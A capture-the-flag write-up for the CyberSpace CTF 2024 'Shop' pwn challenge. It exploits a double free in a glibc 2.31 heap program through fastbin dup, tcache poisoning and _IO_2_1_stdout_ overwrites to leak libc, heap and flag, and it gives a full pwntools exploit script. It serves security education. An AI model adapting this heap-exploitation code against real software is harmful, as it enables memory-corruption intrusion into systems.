# CyberSpace CTF 2024 WRITEUP - PWN/Shop ## Reverse ![image](https://hackmd.io/_uploads/Sy3dbsNh0.png) ![image](https://hackmd.io/_uploads/rkP9Ws4hA.png) Since IDA tells "analysis failed", I will patch the program and rename the function to make it easier to analyze. ![image](https://hackmd.io/_uploads/BJujzsN3C.png) --- ```main()```: ![image](https://hackmd.io/_uploads/Sy6T8nN30.png) --- ```save_flag_to_heap()``` or ```sub_12A8()```: ![image](https://hackmd.io/_uploads/H1P7vnEh0.png) The function ```sub_12A8()``` reads the flag into a buffer on the heap --- ```print_menu()``` or ```sub_1365()```: ![image](https://hackmd.io/_uploads/H1tFuhE2R.png) --- ```buy_pet()```: ![image](https://hackmd.io/_uploads/S1U8Y24nC.png) Let's examine, this function is quite simple. It will allocate memory, save pointer and size into ```pets_list``` and ```size_list```. The ```check_size(size-1)``` limits the size we want to allocate, less than ```0x1501```. It also limits the maximum number of allocations (32 slots) --- ```edit_name()``` or ```sub_1523()```: ![image](https://hackmd.io/_uploads/rkGtsnNh0.png) --- ```refund()``` or ```sub_15F6()```: ![image](https://hackmd.io/_uploads/rkgj334nR.png) Just read the index of the chunk and free. --- ## Vulnerability In ```refund()```, the pointer is not set to NULL after the heap chunk is freed -> **Double Free vulnerability**. But, this program does not have any option to print out data. --- ## Exploit ```Glibc version 2.31``` Our goal: Leak the base address of libc -> Leak the base address of heap -> Leak the flag in the heap --- The first step is to obtain the address of libc, you can do this by creating a big chunk (chunk size > 0x410 bytes to insert it to unsorted bin instead of tcachebin when free) and then freeing it. Now its forward pointer and backward pointer will point to unsorted bin. ```python=1 for i in range(7): buy_pet(r, 0x70-8) #index from 0...6 buy_pet(r, 0xc0-8) # index 7 buy_pet(r, 0x70-8) # index 8 buy_pet(r, 0x70-8) # index 9 buy_pet(r, 0x500-8) # index 10 buy_pet(r, 0x20-8) # index 11 (avoid consolitating with top chunk) refund(r, 10) #index 10 is now FREE (this chunk is now in unsortedbin) buy_pet(r, 0x70-8) # index 10 - contains address of libc buy_pet(r, 0x490-8) # index 12 ``` We note that the chunk at index 10 will contain the address of the libc that will be used later. --- We will perform the **fastbin dup** because the fastbin double-free check only ensures that a chunk being freed into a fastbin is not already the first chunk in that bin. Fill up tcache first ```python=14 for i in range(7): refund(r, i) # fill up tcache size of 0x70 # index from 0...6 are now FREE ``` Perform ```python=17 refund(r, 9) # index 9 is now free refund(r, 8) # index 8 is now free refund(r, 9) #fastbin dup #fastbin size 0x70 -> 9 -> 8 -> 9 # malloc from tcache bin for i in range(7): buy_pet(r, 0x70-8) #index from 0...6 ``` Fastbin with size 0x70 will have 3 available chunks ```python=25 buy_pet(r, 0x70-8) # index 8 ``` After the first malloc from fastbin, the 2 remaining chunks in fastbin will be dumped to tcachebin with corresponding size. This is called "Tcache dumping". Image from ```HeapLab - GLIBC Heap Exploitation - Max Kamper``` ![image](https://hackmd.io/_uploads/BJNdv9rnR.png) ---> **Tcache poisoning** (tricking malloc into returning a pointer to an arbitrary location) -> **Arbitrary write** Read more: [Glibc 2.31 - Tcache poisoning](https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_poisoning.c) **Once we have an arbitrary write, where do we write?** While learning about FSOP (File Stream Oriented Programming), I learned how to achieve ```arbitrary reads``` by overwriting the ```_IO_2_1_stdout_``` structure. More details: [@kyr04i - FSOP attack](https://hackmd.io/@kyr04i/SkF_A-fnn#3-LEAK-LIBC-VIA-_IO_FILE-READ-PRIMITIVE) and [Play with FILE structure - Angelboy](https://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/EN%20-%20Play%20with%20FILE%20Structure%20-%20Yet%20Another%20Binary%20Exploit%20Technique%20-%20An-Jie%20Yang.pdf) ```C struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ char *_IO_buf_base; /* Start of reserve area. */ char *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; int _flags2; __off_t _old_offset; /* This used to be _offset but it's too small. */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; ``` We will overwrite ```_flags = _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING | _IO_MAGIC = 0xfbad1800``` along with ```_IO_write_base``` (in ```_IO_2_1_stdout_```) to the appropriate values so that when the ```puts()``` is called. The data between ```_IO_write_base``` and ```_IO_write_ptr``` will be printed out. Flowchart of ```puts()``` (From **@kyr04i**) after bypassing the checks: ```C puts(str) |_ _IO_new_file_xsputn (stdout, str, len) |_ _IO_new_file_overflow (stdout, EOF) |_ new_do_write(stdout, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base) |_ _IO_new_file_write(stdout, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base) |_ write(stdout->fileno, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base) ``` --- Back to our script, tcache bin (size 0x70) now has 2 available chunks. Lets take it out ```python=26 buy_pet(r, 0x70-8) # index 9 buy_pet(r, 0x70-8) # index 13 # index 8 = index 13 ``` Now we have 2 pointers pointing to the same chunk (index 8 and 13) ![image](https://hackmd.io/_uploads/BJkQ8jr3A.png) Because of the [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f), i will perform Tcache poisoning like this: ```python=30 refund(r, 0) # index 0 is now FREE refund(r, 9) # index 9 is now FREE refund(r, 8) # index 8 is now FREE #tcache [size 0x70] -> 8 -> 9 -> 0 ``` ![image](https://hackmd.io/_uploads/B1Grqjr2R.png) ```python=34 edit_name(r, 13, b"\xf0") ``` ![image](https://hackmd.io/_uploads/BJMC9jBnC.png) ```offset of _IO_2_1_stdout_ = 0x1ed6a0``` ```offset in chunk 0x55ea894b57f0 = 0x1ed010``` ```python=35 buy_pet(r, 0x70-8) # index 0 edit_name(r, 10, b"\xa0\xc6") # guessing right here ``` ![image](https://hackmd.io/_uploads/rJc7aoS20.png) Note that we only know the 3rd Least significant nibble (address of ```_IO_2_1_stdout_```) is ```0x6a0``` (based on offset) and we "don't know" what the next nibble is. So we have to guess (I will guess ```0xc```), the probability of us guessing correctly is ```1/16``` ![image](https://hackmd.io/_uploads/BJIXRor3R.png) If we guess wrong, it can cause Segmentation fault. Try it again! If we guess correctly, we will be able to overwrite ```_IO_2_1_stdout_```! --- Let's examine ```_IO_2_1_stdout_```: ![image](https://hackmd.io/_uploads/SyPMb2H3R.png) Our goal is to override ```_flags``` and ```_IO_write_base``` so that the program prints out the data between ```_IO_write_base``` and ```_IO_write_ptr``` when ```puts()``` is triggered. Since we don't know the ```libc``` address, we should override the least significant byte of ```_IO_write_base``` to a value < ```0x23``` ```_IO_write_base = 0x7fde2429c723``` ![image](https://hackmd.io/_uploads/Sye_G3H30.png) Looking at address ```0x7fde2429c708```, we see that it is storing an address belonging to ```libc```. So we will overwrite the least significant byte of ```_IO_write_base``` to ```0x08```. So when ```puts()``` is called, the data between ```0x7fde2429c708``` and ```0x7fde2429c723``` will be printed out. ```python=37 buy_pet(r, 0x70-8) # index 8 buy_pet(r, 0x70-8) # index 9 - IMPORTANT flag = 0xfbad1800 payload = p64(flag) + p64(0)*3 + b"\x08" edit_name(r, 9, payload) print("[*] SUCCESS!") libc.address = u64(test[:6] + b"\x00\x00")-0x1ec980 print("[*] libc: ", hex(libc.address)) unsorted_bin = libc.address+0x1ecbf0 ``` ![image](https://hackmd.io/_uploads/H1teVnB2A.png) We have successfully leaked libc!! The next step will be to leak the base address of heap. --- We will leak the base address of heap by leaking data from ```main_arena``` using the same technique to leak the address of ```libc``` Image from ```HeapLab - GLIBC Heap Exploitation - Max Kamper``` ![image](https://hackmd.io/_uploads/BJI5Nnr3C.png) It contains a lot of useful information, top chunk address,... I will leak unsorted bins forward pointer, you can leak the address of top chunk if you want ^^ ```python=49 # Leak heap buy_pet(r, 0x500-8) # index 14 buy_pet(r, 0x18) # index 15 refund(r, 14) # flag = 0xfbad1800 payload = p64(flag) + p64(0)*3 payload += p64(unsorted_bin) # write_base payload += p64(unsorted_bin+6) # write_ptr payload += p64(unsorted_bin+6)*2 payload += p64(unsorted_bin+6+1) edit_name(r, 9, payload) heap_leak = u64(r.recv(6) + b"\x00"*2) - 0xd00 print("[*]heap: ", hex(heap_leak)) ``` I don't want this else if block to be executed so I'll leave ```_IO_write_end = _IO_write_ptr``` ```C size_t _IO_new_file_xsputn (FILE *f, const void *data, size_t n) { ... else if (f->_IO_write_end > f->_IO_write_ptr) count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */ /* Then fill the buffer. */ if (count > 0) { if (count > to_do) count = to_do; f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count); s += count; to_do -= count; } ... } libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn) ``` ![image](https://hackmd.io/_uploads/ryBXd3B2A.png) We have leaked the heap address. Finally, calculate the address where the ```flag``` is stored and use ```FSOP``` again to print it out. ```python=69 # lets print the flag!!! target = heap_leak+0x308 flag = 0xfbad1800 payload = p64(flag) + p64(0)*3 payload += p64(target) # write_base payload += p64(target+0x40) # write_ptr payload += p64(target+0x40)*2 payload += p64(target+0x40+1) edit_name(r, 9, payload) r.interactive() ``` ``` CSCTF{26f8aa2b094cc646137e7da9778584d1} ``` ![image](https://hackmd.io/_uploads/Hy9pY3r20.png) ### Script ```python= #!/usr/bin/env python3 from pwn import * exe = ELF("./chall_patched") libc = ELF("./libc-2.31.so") ld = ELF("./ld-2.31.so") context.binary = exe DEBUG = 0 if args.LOCAL: #r = process([exe.path]) if DEBUG: gdb.attach(r, gdbscript=''' start ''') else: #r = remote("shop.challs.csc.tf", 1337) print() def buy_pet(r, size): r.sendlineafter(b"> ", b"1") r.sendlineafter(b"How much? ", f"{size}".encode()) def edit_name(r, index, payload): r.sendlineafter(b"> ", b"2") r.sendlineafter(b"Index: ", f"{index}".encode()) r.sendafter(b"Name: ", payload) def refund(r, index): r.sendlineafter(b"> ", b"3") r.sendlineafter(b"Index: ", f"{index}".encode()) def main(): while True: r = process([exe.path]) # for local #r = remote("shop.challs.csc.tf", 1337) # for remote for i in range(7): buy_pet(r, 0x70-8) #index from 0...6 buy_pet(r, 0xc0-8) # index 7 buy_pet(r, 0x70-8) # index 8 buy_pet(r, 0x70-8) # index 9 buy_pet(r, 0x500-8) # index 10 buy_pet(r, 0x20-8) # index 11 (avoid consolitating with top chunk) refund(r, 10) #index 10 is now FREE buy_pet(r, 0x70-8) # index 10 - contains address of libc buy_pet(r, 0x490-8) # index 12 for i in range(7): refund(r, i) # fill up tcache size of 0x70 # index from 0...6 are now FREE refund(r, 9) # index 9 is now free refund(r, 8) # index 8 is now free refund(r, 9) #fastbin dup #fastbin size 0x70 -> 9 -> 8 -> 9 # malloc from tcache bin for i in range(7): buy_pet(r, 0x70-8) #index from 0...6 #r.interactive() buy_pet(r, 0x70-8) # index 8 buy_pet(r, 0x70-8) # index 9 buy_pet(r, 0x70-8) # index 13 # index 8 = index 13 refund(r, 0) # index 0 is now FREE refund(r, 9) # index 9 is now FREE refund(r, 8) # index 8 is now FREE #tcache [size 0x70] -> 8 -> 9 -> 0 edit_name(r, 13, b"\xf0") buy_pet(r, 0x70-8) # index 0 try: edit_name(r, 10, b"\xa0\xc6") buy_pet(r, 0x70-8) # index 8 buy_pet(r, 0x70-8) # index 9 - IMPORTANT flag = 0xfbad1800 payload = p64(flag) + p64(0)*3 + b"\x08" edit_name(r, 9, payload) except EOFError: print('[*] fail') r.close() continue test = r.recv(20) if len(test) <= 5: r.close() continue if (test[5] >> 4) != 7: r.close() continue print("[*] SUCCESS!") libc.address = u64(test[:6] + b"\x00\x00")-0x1ec980 print("[*] libc: ", hex(libc.address)) unsorted_bin = libc.address+0x1ecbf0 # Leak heap buy_pet(r, 0x500-8) # index 14 buy_pet(r, 0x18) # index 15 refund(r, 14) # flag = 0xfbad1800 payload = p64(flag) + p64(0)*3 payload += p64(unsorted_bin) # write_base payload += p64(unsorted_bin+6) # write_ptr payload += p64(unsorted_bin+6)*2 payload += p64(unsorted_bin+6+1) edit_name(r, 9, payload) heap_leak = u64(r.recv(6) + b"\x00"*2) - 0xd00 print("[*]heap: ", hex(heap_leak)) #gdb.attach(r, gdbscript=''' # start # ''') # lets print the flag!!! target = heap_leak+0x308 flag = 0xfbad1800 payload = p64(flag) + p64(0)*3 payload += p64(target) # write_base payload += p64(target+0x40) # write_ptr payload += p64(target+0x40)*2 payload += p64(target+0x40+1) edit_name(r, 9, payload) # CSCTF{26f8aa2b094cc646137e7da9778584d1} # good luck pwning :) r.interactive() if __name__ == "__main__": main() ``` ## Similar challenge [pwnable.tw - Heap Paradise](https://pwnable.tw/challenge/#35) ## References [https://hackmd.io/@kyr04i/SkF_A-fnn](https://hackmd.io/@kyr04i/SkF_A-fnn) [Play with FILE Structure - Yet Another Binary Exploit Technique - Angelboy](https://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/EN%20-%20Play%20with%20FILE%20Structure%20-%20Yet%20Another%20Binary%20Exploit%20Technique%20-%20An-Jie%20Yang.pdf) [https://hackmd.io/@wxrdnx/r1CXaFHdv#Heap-Paradise](https://hackmd.io/@wxrdnx/r1CXaFHdv#Heap-Paradise) HeapLab - GLIBC Heap Exploitation - Max Kamper [how2heap - Glibc_2.31](https://github.com/shellphish/how2heap/tree/master/glibc_2.31) [https://elixir.bootlin.com/glibc/glibc-2.31/source/](https://elixir.bootlin.com/glibc/glibc-2.31/source/)